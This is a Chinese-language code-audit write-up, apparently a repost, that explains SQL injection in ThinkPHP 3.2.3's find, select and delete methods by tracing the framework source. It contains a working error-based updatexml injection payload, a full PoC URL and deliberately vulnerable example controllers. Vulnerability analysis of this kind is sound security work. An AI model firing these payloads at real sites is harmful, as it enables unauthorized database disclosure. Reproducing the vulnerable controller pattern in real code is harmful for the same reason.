11-PHP代码审计——thinkphp3.2.3 find,select,delete注入漏洞

Posted songly_

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了11-PHP代码审计——thinkphp3.2.3 find,select,delete注入漏洞相关的知识,希望对你有一定的参考价值。

find注入poc:

id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

 

find注入漏洞示例程序:

class IndexController extends Controller {
    public function index(){
        $id = I("id");
        $data = M("users")->find($id);
        dump($data);
    }
}

后台通过接收一个id参数并根据id查询用户,和之前的注入漏洞流程相比,find注入的流程中没有调用where函数。

 

提交poc访问网址

经过前面几个sql注入漏洞的分析,相信大家已经发现,find注入流程和前面已经分析过的漏洞流程大致是一样的。

 

直接从find函数开始分析:

public function find($options=array()) {
//options是否为数字字符串或数字,满足条件才会操作options
    if(is_numeric($options) || is_string($options)) {
        $where[$this->getPk()]  =   $options;
        $options                =   array();
        $options['where']       =   $where;
    }
    // 根据复合主键查找记录
    $pk  =  $this->getPk();
    if (is_array($options) && (count($options) > 0) && is_array($pk)) {
        // 根据复合主键查询
        $count = 0;
        foreach (array_keys($options) as $key) {
            if (is_int($key)) $count++; 
        } 
        if ($count == count($pk)) {
            $i = 0;
            foreach ($pk as $field) {
                $where[$field] = $options[$i];
                unset($options[$i++]);
            }
            $options['where']  =  $where;
        } else {
            return false;
        }
    }
    // 总是查找一条记录
    $options['limit']   =   1;
    // 分析表达式,这里只是单纯的赋值,没有过滤
    $options            =   $this->_parseOptions($options);
    // 判断查询缓存
    if(isset($options['cache'])){
        $cache  =   $options['cache'];
        $key    =   is_string($cache['key'])?$cache['key']:md5(serialize($options));
        $data   =   S($key,'',$cache);
        if(false !== $data){
            $this->data     =   $data;
            return $data;
        }
    }
    //select函数查询数据
    $resultSet          =   $this->db->select($options);
    if(false === $resultSet) {
        return false;
    }
    if(empty($resultSet)) {// 查询结果为空
        return null;
    }
    if(is_string($resultSet)){
        return $resultSet;
    }

    // 读取数据后的处理
    $data   =   $this->_read_data($resultSet[0]);
    $this->_after_find($data,$options);
    if(!empty($this->options['result'])) {
        return $this->returnResult($data,$this->options['result']);
    }
    $this->data     =   $data;
    if(isset($cache)){
        S($key,$data,$cache);
    }
    return $this->data;
}

 

find函数首先会对数字,数字类型的字符串过滤,显然options并不满足条件

 

 

接着调用select函数  -->  buildSelectSql函数内部(parseSql函数  -->  str_replace函数)  -->  query函数。

/**
 * 查找记录
 * @access public
 * @param array $options 表达式
 * @return mixed
 */
public function select($options=array()) {
    $this->model  =   $options['model'];
    $this->parseBind(!empty($options['bind'])?$options['bind']:array());
    $sql    = $this->buildSelectSql($options);
    $result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);
    return $result;
}

buildSelectSql函数内部有一个核心函数str_replace对$options进行了过滤和拼接sql语句,非常重要。

 

 

str_replace函数内部会对php连贯操作检查和过滤

这里有一个点需要注意:parseWhere函数中的$options['where']是一个字符串,这点很重要。

 

 

F7定位到parseWhere函数:

protected function parseWhere($where) {
    $whereStr = '';
    //是否为字符串
    if(is_string($where)) {
        // 直接使用字符串条件,然后返回
        $whereStr = $where;
    }else{ // 使用数组表达式
        $operate  = isset($where['_logic'])?strtoupper($where['_logic']):'';
        if(in_array($operate,array('AND','OR','XOR'))){
            // 定义逻辑运算规则 例如 OR XOR AND NOT
            $operate    =   ' '.$operate.' ';
            unset($where['_logic']);
        }else{
            // 默认进行 AND 运算
            $operate    =   ' AND ';
        }
        foreach ($where as $key=>$val){
            if(is_numeric($key)){
                $key  = '_complex';
            }
            if(0===strpos($key,'_')) {
                // 解析特殊条件表达式
                $whereStr   .= $this->parseThinkWhere($key,$val);
            }else{
                // 查询字段的安全过滤
                // if(!preg_match('/^[A-Z_\\|\\&\\-.a-z0-9\\(\\)\\,]+$/',trim($key))){
                //     E(L('_EXPRESS_ERROR_').':'.$key);
                // }
                // 多条件支持
                $multi  = is_array($val) &&  isset($val['_multi']);
                $key    = trim($key);
                if(strpos($key,'|')) { // 支持 name|title|nickname 方式定义查询字段
                    $array =  explode('|',$key);
                    $str   =  array();
                    foreach ($array as $m=>$k){
                        $v =  $multi?$val[$m]:$val;
                        $str[]   = $this->parseWhereItem($this->parseKey($k),$v);
                    }
                    $whereStr .= '( '.implode(' OR ',$str).' )';
                }elseif(strpos($key,'&')){
                    $array =  explode('&',$key);
                    $str   =  array();
                    foreach ($array as $m=>$k){
                        $v =  $multi?$val[$m]:$val;
                        $str[]   = '('.$this->parseWhereItem($this->parseKey($k),$v).')';
                    }
                    $whereStr .= '( '.implode(' AND ',$str).' )';
                }else{
                    $whereStr .= $this->parseWhereItem($this->parseKey($key),$val);
                }
            }
            $whereStr .= $operate;
        }
        $whereStr = substr($whereStr,0,-strlen($operate));
    }
    return empty($whereStr)?'':' WHERE '.$whereStr;
}

 parseWhere函数这里首先判断 $whereStr的内容是否为字符串,如果满足条件直接使用 $whereStr的内容拼接sql语句,没有进行任何过滤。

 

最终buildSelectSql函数拼接成的sql语句如下:

SELECT * FROM `users` WHERE 1 and updatexml(1,concat(0x7e,user(),0x7e),1)-- LIMIT 1  

数据库执行sql语句报错的同时还会把数据库用户的信息爆出来。

 

测试提交的poc是这样的:

http://www.tptest.com/index.php/home/index/index?id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

poc中是把这段数据放在一个数组id[where]中,这样写的目的是为了让options['where']数组接收id[where]里的内容,从而绕过parseWhere函数的过滤。

 

 

select和delete注入示例程序:

//select注入
class IndexController extends Controller {
    public function index(){
        $id = I("id");
        $data = M("users")->select($id);
        dump($data);
    }
}

//delete注入
class IndexController extends Controller {
    public function index(){
        $id = I("id");
        $data = M("users")->delete($id);
        dump($data);
    }
}

select和delete注入漏洞产生的原因和find注入相同,都是因为内部调用了parseWhere函数,自身没有对外部传入的参数进一步的安全检查和过滤,过于依赖parseWhere函数对于前端输入的参数进行过滤,并且parseWhere函数的过滤机制也并不完善,从而产生sql注入漏洞。

 

关于注入的分析过程这里就不再演示,大家可以自行参考find注入分析流程。

以上是关于11-PHP代码审计——thinkphp3.2.3 find,select,delete注入漏洞的主要内容,如果未能解决你的问题,请参考以下文章

10-PHP代码审计——thinkphp3.2.3 update注入漏洞

ThinkPHP3.2.x RCE

ThinkPHP3.2.3 where注入

ThinkPHP3.2.3 find注入

ThinkPHP3.2.3使用分页

ThinkPHP3.2.3 PHPExcel读取excel插入数据库